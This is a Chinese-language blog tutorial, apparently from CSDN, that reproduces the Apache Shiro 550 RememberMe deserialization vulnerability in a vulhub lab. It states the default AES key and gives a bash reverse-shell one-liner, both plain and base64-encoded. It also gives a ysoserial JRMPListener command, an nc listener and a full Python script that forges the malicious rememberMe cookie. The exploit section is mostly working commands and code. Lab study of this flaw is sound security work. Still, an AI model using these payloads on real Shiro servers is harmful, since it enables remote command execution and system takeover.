shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)

一,漏洞介绍

1-1 什么是shiro

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序

1-2 什么是序列化 

序列化就是为了传输遍历,把一个对象类型的数据转换成字符串进行传输;比如javascript里的一个对象{name:'aini',age:22}可以通过JSON.stringify函数转换成一个JSON格式的字符串,便于传输既这个对象会变成'{"name":"aini","age":18}'或者在PHP语言里面把一个类或者对象,或者函数等通过serialize函数进行序列化便于传输;序列化后产生的JSON,或者XML格式不仅传输便利,而且可以跨语言传输数据,这个把某个对象序列化成json格式或者XML格式或者其他序列化格式的字符串过程称为序列化;不过值得注意的是序列化不仅仅是这一种方式,还有对象数据类型转换成XML格式等,可以自行百度一下;

1-3 什么是反序列化

反序列化就是序列化的逆向过程,把一个序列化的JSON字符串内容或者XML内容反向还原回序列化前的对象格式

1-4 漏洞原理

在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。

 客户端产生rememberMe键值对以及服务端进行cookie验证步骤

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第1张图片

补充:漏掉了一步,用户信息先序列化以后再进行AES加密等

在服务端AES解密以后进行反序列化才得到用户信息

1-5 漏洞利用思路 

既然能进行序列化,那我们可以对我们自己的攻击代码进行相同的AES加密,base64编码以后产生rememberMe字段发给服务端,服务端反向进行解密得到我们攻击代码并会运行,进而我们就攻击成功了

二,靶场搭建

基于vulhub靶场进行搭建(需要靶场的话可以留言,或自行搭建vulhub靶场,有很多教程

需要有docker容器,可以参照下面这篇博客进行安装

docker及docker命令详解_ANii_Aini的博客-CSDN博客docker及docker命令详解;docker是一个软件,是一个运行与linux和windows上的软件,用于创建、管理和编排容器;docker平台就是一个软件集装箱化平台,是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,也可以实现虚拟化,并且容器之间不会有任何接口;https://blog.csdn.net/m0_67844671/article/details/132872790

cd vulhub-master

cd shiro

cd CVE-2016-4437

docker-compose up -d (运行靶场

docker ps (查看容器列表

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第2张图片

浏览器访问一下看看,发现已经成功运行了

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第3张图片

随便输入用户名和密码进行抓包,放到重放器里面,点击发送,相应包里看到rememberMe = deleteMe字段,可以说应该存在这个shiro550反序列化漏洞

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第4张图片

利用工具检测(工具需要的留言,我分享给你

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第5张图片

三,漏洞复现和利用

利用过程图解

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第6张图片

注:Python脚本可以在攻击机而上运行生成rememberMe字段

我用了三个主机,分别如下

靶场:kali2023     192.168.31.150  ------------------- 搭建靶场

攻击主机1:kali2023      192.168.31.160 ---------------  监听,等待反向shell连接

攻击主机2:kali2022     192.168.31.20 --------------  搭建JRMP服务器

3-1 爆破AES秘钥

AES加密需要秘钥的,我们想要构造rememberMe键值对就得拿到AES加密秘钥;网上有很多方法,和一些Python写的工具,我用了几个发现不太好用,用了自己的工具,就是上面检测用的工具

我就用工具爆破出来

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第7张图片

 秘钥是:kPH+bIxk5D2deZiIxcaaaA==

注:在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==

 3-2 搭建JRMP服务器

需要以下工具

下载地址如下(重要的是ysoserial.jar文件

shiro_exploit.py  ------ 爆破AES秘钥的文件(我用了,没爆破出来,不太好用,我是用自动化工具进行检测的

用法:python3 shiro_exploit.py -u http://192.168.31.150:80

shiro.py   ----------(用于生成rememberMe 值的Python脚本,这个过一会儿自己写就可以)

ysoserial.jar ------ 搭建JRMP服务器用的

GitHub - insightglacier/Shiro_exploit: Apache Shiro 反序列化漏洞检测与利用工具Apache Shiro 反序列化漏洞检测与利用工具. Contribute to insightglacier/Shiro_exploit development by creating an account on GitHub.icon-default.png?t=N7T8https://github.com/insightglacier/Shiro_exploit

2-1 首先生成反向shell

反向shell语句(IP为攻击机1的IP,端口为攻击机需要监听的端口)

bash -i >& /dev/tcp/192.168.31.160/4444 0>&1

 对反向shell语句base64编码,用如下网址进行base64编码很方面

Runtime.exec Payload Generater | AresX's Blog

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第8张图片

拿到base64加密后的结果

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE2MC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}

2-2 搭建JRMP服务器

用攻击机2 执行次操作

大概解释一下:这个就是产生了一个反向连接攻击机的木马文件,并开始监听7777端口,接下来就是我们再生成带有服务器去攻击机2获取木马的恶意攻击代码的rememberMe值,让服务端运行,服务端就会去攻击机2下载连接攻击机1的反向木马

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE2MC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"

3-3 攻击机1打开监听

攻击机1开始监听4444端口

nc -lvvp 4444

3-4 生成rememberMe 值 

环境:

        攻击机2  kali2022  192.168.31.20

        python2.7  

4-1 Python2.7 安装pip2和 pyCrypto  

开始头疼了,因为kali Python2.7是没有pip2,没办法安装模块,而我们的生成rememberMe 值的Python脚本需要安装一个加密模块 ,解决办法如下

wget https://pypi.python.org/packages/source/s/setuptools/setuptools-18.5.tar.gz
tar -zxvf setuptools-18.5.tar.gz
cd setuptools-18.5/
sudo python2 setup.py build
sudo python2 setup.py install

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第9张图片

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第10张图片 shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第11张图片

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第12张图片

就在setuptools-18.5目录下继续运行如下代码

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py 

注意 ,我运行wget https://bootstrap.pypa.io/pip/2.7/get-pip.py以后一直连接不成功

解决办法:直接用浏览器打开,复制代码,本地创建文件,粘贴就行

我在浏览器打开了https://bootstrap.pypa.io/pip/2.7/get-pip.py 网址

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第13张图片

我创建了一个getpip.py文件(把网页上的内容复制到里面)(注意内容超级多,复制粘贴需要点时间

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第14张图片

 还需要安装一个工具

apt-get install python2-dev

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第15张图片 安装完成以后运行 sudo python2 getpip.py 

sudo python2 getpip.py  

可能会报错,多尝试即便就可以安装好 

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第16张图片

通过尝试了好几次,终于安装好了

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第17张图片 安装加密模块

pip2 install pycrypto

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第18张图片

成功安装了pip2 和加密用的pycrypto模块二 

4-2 生成rememberMe的值

Python脚本文件内容如下,自己创建个shiro.py直接写入即可(这是Python2写的脚本)

注: key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") 替换成自己爆破出来的AES秘钥

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

运行如下命令生成rememberMe 值(shiro.py 和 ysoserial.jar 得在同一个目录下)

IP地址为攻击机2的IP和7777端口

可以在攻击机2上生成

python2 shiro.py 192.168.31.20:7777

得到了rememberMe的值

3-5 修改数据包 

抓包以后修改数据包

原始数据包如下

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第19张图片

cookie里面加上一个rememberMe的键值对 ,如下,再进行发送

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第20张图片

看看JRMP服务器和攻击机1,有没有连接成功 

发现服务器确实来攻击机2上拿反向shell了

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第21张图片

再来看攻击机1getshell是否承成功

发现getshell成功,能执行系统命令

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第22张图片

3-6 用自动化工具进行利用 

以上是详细的手动漏洞利用过程,下面是用工具直接进行利用

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第23张图片

根据提示选择合适的利用链以后

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第24张图片 切换到命令执行,就可以执行系统命令了

shiro550反序列化漏洞原理与漏洞复现和利用(基于vulhub,保姆级的详细教程)_第25张图片 

今天的内容到此结束,确实花了不少时间,如果您遇到问题可以留言一起探讨,需要工具或者脚本文件可以留言,我可以分享给你

你可能感兴趣的:(漏洞复现,网络安全,安全,web安全,网络,java,docker)